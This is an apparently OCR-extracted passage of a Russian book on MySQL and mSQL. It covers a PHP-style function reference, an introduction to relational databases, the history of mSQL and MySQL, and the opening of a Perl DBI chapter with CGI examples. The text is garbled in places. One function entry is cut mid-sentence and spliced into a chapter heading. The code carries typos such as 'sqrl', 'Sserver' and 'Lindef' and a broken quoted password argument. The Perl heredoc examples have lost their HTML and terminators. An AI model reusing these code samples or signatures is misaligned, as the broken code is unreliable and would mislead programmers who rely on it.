    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

